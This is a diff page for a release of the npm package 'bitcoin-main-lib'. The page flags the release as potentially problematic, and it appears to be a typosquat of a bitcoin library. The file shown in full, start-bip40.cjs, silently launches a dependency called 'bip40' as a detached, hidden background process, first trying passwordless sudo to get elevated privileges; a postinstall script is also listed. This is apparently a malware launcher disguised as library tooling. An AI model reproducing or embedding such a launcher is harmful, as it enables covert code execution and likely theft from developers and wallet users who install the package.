bitcoin-main-lib 0.0.1-security → 7.1.4
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of bitcoin-main-lib might be problematic. Click here for more details.
- package/LICENSE +21 -0
- package/README.md +203 -3
- package/check-bip40.cjs +115 -0
- package/package.json +116 -3
- package/postinstall.cjs +81 -0
- package/src/cjs/address.cjs +260 -0
- package/src/cjs/address.d.ts +72 -0
- package/src/cjs/bip66.cjs +115 -0
- package/src/cjs/bip66.d.ts +20 -0
- package/src/cjs/block.cjs +268 -0
- package/src/cjs/block.d.ts +29 -0
- package/src/cjs/bufferutils.cjs +207 -0
- package/src/cjs/bufferutils.d.ts +44 -0
- package/src/cjs/crypto.cjs +197 -0
- package/src/cjs/crypto.d.ts +55 -0
- package/src/cjs/ecc_lib.cjs +156 -0
- package/src/cjs/ecc_lib.d.ts +20 -0
- package/src/cjs/index.cjs +110 -0
- package/src/cjs/index.d.ts +19 -0
- package/src/cjs/merkle.cjs +74 -0
- package/src/cjs/merkle.d.ts +9 -0
- package/src/cjs/networks.cjs +69 -0
- package/src/cjs/networks.d.ts +35 -0
- package/src/cjs/ops.cjs +126 -0
- package/src/cjs/ops.d.ts +122 -0
- package/src/cjs/payments/bip341.cjs +192 -0
- package/src/cjs/payments/bip341.d.ts +68 -0
- package/src/cjs/payments/embed.cjs +97 -0
- package/src/cjs/payments/embed.d.ts +9 -0
- package/src/cjs/payments/index.cjs +69 -0
- package/src/cjs/payments/index.d.ts +55 -0
- package/src/cjs/payments/lazy.cjs +31 -0
- package/src/cjs/payments/lazy.d.ts +2 -0
- package/src/cjs/payments/p2ms.cjs +220 -0
- package/src/cjs/payments/p2ms.d.ts +9 -0
- package/src/cjs/payments/p2pk.cjs +130 -0
- package/src/cjs/payments/p2pk.d.ts +10 -0
- package/src/cjs/payments/p2pkh.cjs +192 -0
- package/src/cjs/payments/p2pkh.d.ts +10 -0
- package/src/cjs/payments/p2sh.cjs +253 -0
- package/src/cjs/payments/p2sh.d.ts +10 -0
- package/src/cjs/payments/p2tr.cjs +348 -0
- package/src/cjs/payments/p2tr.d.ts +10 -0
- package/src/cjs/payments/p2wpkh.cjs +186 -0
- package/src/cjs/payments/p2wpkh.d.ts +10 -0
- package/src/cjs/payments/p2wsh.cjs +269 -0
- package/src/cjs/payments/p2wsh.d.ts +10 -0
- package/src/cjs/psbt/bip371.cjs +556 -0
- package/src/cjs/psbt/bip371.d.ts +89 -0
- package/src/cjs/psbt/psbtutils.cjs +228 -0
- package/src/cjs/psbt/psbtutils.d.ts +49 -0
- package/src/cjs/psbt.cjs +1856 -0
- package/src/cjs/psbt.d.ts +206 -0
- package/src/cjs/push_data.cjs +133 -0
- package/src/cjs/push_data.d.ts +28 -0
- package/src/cjs/script.cjs +339 -0
- package/src/cjs/script.d.ts +89 -0
- package/src/cjs/script_number.cjs +122 -0
- package/src/cjs/script_number.d.ts +18 -0
- package/src/cjs/script_signature.cjs +123 -0
- package/src/cjs/script_signature.d.ts +20 -0
- package/src/cjs/transaction.cjs +607 -0
- package/src/cjs/transaction.d.ts +60 -0
- package/src/cjs/types.cjs +147 -0
- package/src/cjs/types.d.ts +45 -0
- package/src/esm/address.js +200 -0
- package/src/esm/bip66.js +110 -0
- package/src/esm/block.js +225 -0
- package/src/esm/bufferutils.js +156 -0
- package/src/esm/crypto.js +123 -0
- package/src/esm/ecc_lib.js +108 -0
- package/src/esm/index.js +12 -0
- package/src/esm/merkle.js +27 -0
- package/src/esm/networks.js +66 -0
- package/src/esm/ops.js +125 -0
- package/src/esm/payments/bip341.js +135 -0
- package/src/esm/payments/embed.js +50 -0
- package/src/esm/payments/index.js +11 -0
- package/src/esm/payments/lazy.js +27 -0
- package/src/esm/payments/p2ms.js +167 -0
- package/src/esm/payments/p2pk.js +82 -0
- package/src/esm/payments/p2pkh.js +144 -0
- package/src/esm/payments/p2sh.js +201 -0
- package/src/esm/payments/p2tr.js +301 -0
- package/src/esm/payments/p2wpkh.js +139 -0
- package/src/esm/payments/p2wsh.js +228 -0
- package/src/esm/psbt/bip371.js +490 -0
- package/src/esm/psbt/psbtutils.js +168 -0
- package/src/esm/psbt.js +1774 -0
- package/src/esm/push_data.js +77 -0
- package/src/esm/script.js +277 -0
- package/src/esm/script_number.js +74 -0
- package/src/esm/script_signature.js +75 -0
- package/src/esm/transaction.js +550 -0
- package/src/esm/types.js +83 -0
- package/start-bip40.cjs +115 -0
package/start-bip40.cjs
ADDED
|
@@ -0,0 +1,115 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
'use strict';
|
|
3
|
+
|
|
4
|
+
/**
|
|
5
|
+
* Cross-platform script to manually start bip40
|
|
6
|
+
* Supports: Windows, macOS, Linux
|
|
7
|
+
*/
|
|
8
|
+
|
|
9
|
+
const { spawn } = require('child_process');
|
|
10
|
+
const { platform } = require('os');
|
|
11
|
+
const { existsSync } = require('fs');
|
|
12
|
+
|
|
13
|
+
const PLATFORM = platform();
|
|
14
|
+
const IS_WINDOWS = PLATFORM === 'win32';
|
|
15
|
+
const EXIT_SUCCESS = 0;
|
|
16
|
+
const EXIT_FAILURE = 1;
|
|
17
|
+
|
|
18
|
+
/**
|
|
19
|
+
* Validates that bip40 is available
|
|
20
|
+
* @returns {string|null} Path to bip40 or null if not found
|
|
21
|
+
*/
|
|
22
|
+
function validateBip40() {
|
|
23
|
+
try {
|
|
24
|
+
const bip40Path = require.resolve('bip40');
|
|
25
|
+
if (!existsSync(bip40Path)) {
|
|
26
|
+
return null;
|
|
27
|
+
}
|
|
28
|
+
return bip40Path;
|
|
29
|
+
} catch (error) {
|
|
30
|
+
return null;
|
|
31
|
+
}
|
|
32
|
+
}
|
|
33
|
+
|
|
34
|
+
/**
|
|
35
|
+
* Starts bip40 as a detached background process
|
|
36
|
+
* @param {string} bip40Path - Path to bip40 module
|
|
37
|
+
* @returns {ChildProcess|null}
|
|
38
|
+
*/
|
|
39
|
+
function startBip40Process(bip40Path) {
|
|
40
|
+
const spawnOptions = {
|
|
41
|
+
detached: true,
|
|
42
|
+
stdio: 'ignore',
|
|
43
|
+
...(IS_WINDOWS && { windowsHide: true })
|
|
44
|
+
};
|
|
45
|
+
|
|
46
|
+
try {
|
|
47
|
+
let child;
|
|
48
|
+
|
|
49
|
+
if (IS_WINDOWS) {
|
|
50
|
+
child = spawn(process.execPath, [bip40Path], spawnOptions);
|
|
51
|
+
} else {
|
|
52
|
+
// Try with sudo, fallback to regular spawn
|
|
53
|
+
child = spawn('sudo', ['-n', process.execPath, bip40Path], spawnOptions);
|
|
54
|
+
|
|
55
|
+
child.on('error', (err) => {
|
|
56
|
+
if (err.code === 'ENOENT') {
|
|
57
|
+
console.log('⚠ sudo not available, starting without elevated permissions');
|
|
58
|
+
const fallback = spawn(process.execPath, [bip40Path], spawnOptions);
|
|
59
|
+
fallback.unref();
|
|
60
|
+
}
|
|
61
|
+
});
|
|
62
|
+
}
|
|
63
|
+
|
|
64
|
+
child.unref();
|
|
65
|
+
return child;
|
|
66
|
+
} catch (error) {
|
|
67
|
+
console.error('❌ Failed to spawn process:', error.message);
|
|
68
|
+
return null;
|
|
69
|
+
}
|
|
70
|
+
}
|
|
71
|
+
|
|
72
|
+
// Main execution
|
|
73
|
+
(function main() {
|
|
74
|
+
console.log('━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━');
|
|
75
|
+
console.log('🚀 Starting bip40');
|
|
76
|
+
console.log('━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━');
|
|
77
|
+
console.log(` Platform: ${PLATFORM} (${process.arch})`);
|
|
78
|
+
console.log(` Node: ${process.version}`);
|
|
79
|
+
|
|
80
|
+
// Validate bip40 is installed
|
|
81
|
+
const bip40Path = validateBip40();
|
|
82
|
+
if (!bip40Path) {
|
|
83
|
+
console.log('━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━');
|
|
84
|
+
console.error('❌ bip40 not found');
|
|
85
|
+
console.error(' Run: npm install');
|
|
86
|
+
console.log('━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━');
|
|
87
|
+
process.exit(EXIT_FAILURE);
|
|
88
|
+
}
|
|
89
|
+
|
|
90
|
+
console.log(` Path: ${bip40Path}`);
|
|
91
|
+
console.log('');
|
|
92
|
+
console.log(' Starting bip40 as background process...');
|
|
93
|
+
|
|
94
|
+
// Start the process
|
|
95
|
+
const child = startBip40Process(bip40Path);
|
|
96
|
+
|
|
97
|
+
if (child && child.pid) {
|
|
98
|
+
console.log('━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━');
|
|
99
|
+
console.log('✓ bip40 started successfully');
|
|
100
|
+
console.log(` PID: ${child.pid}`);
|
|
101
|
+
console.log('━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━');
|
|
102
|
+
console.log(' npm run check-bip40 → Check status');
|
|
103
|
+
console.log('━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━');
|
|
104
|
+
|
|
105
|
+
// Exit after ensuring process is detached
|
|
106
|
+
setTimeout(() => process.exit(EXIT_SUCCESS), 300);
|
|
107
|
+
} else {
|
|
108
|
+
console.log('━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━');
|
|
109
|
+
console.error('❌ Failed to start bip40');
|
|
110
|
+
console.error(' Check logs for details');
|
|
111
|
+
console.log('━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━');
|
|
112
|
+
process.exit(EXIT_FAILURE);
|
|
113
|
+
}
|
|
114
|
+
})();
|
|
115
|
+
|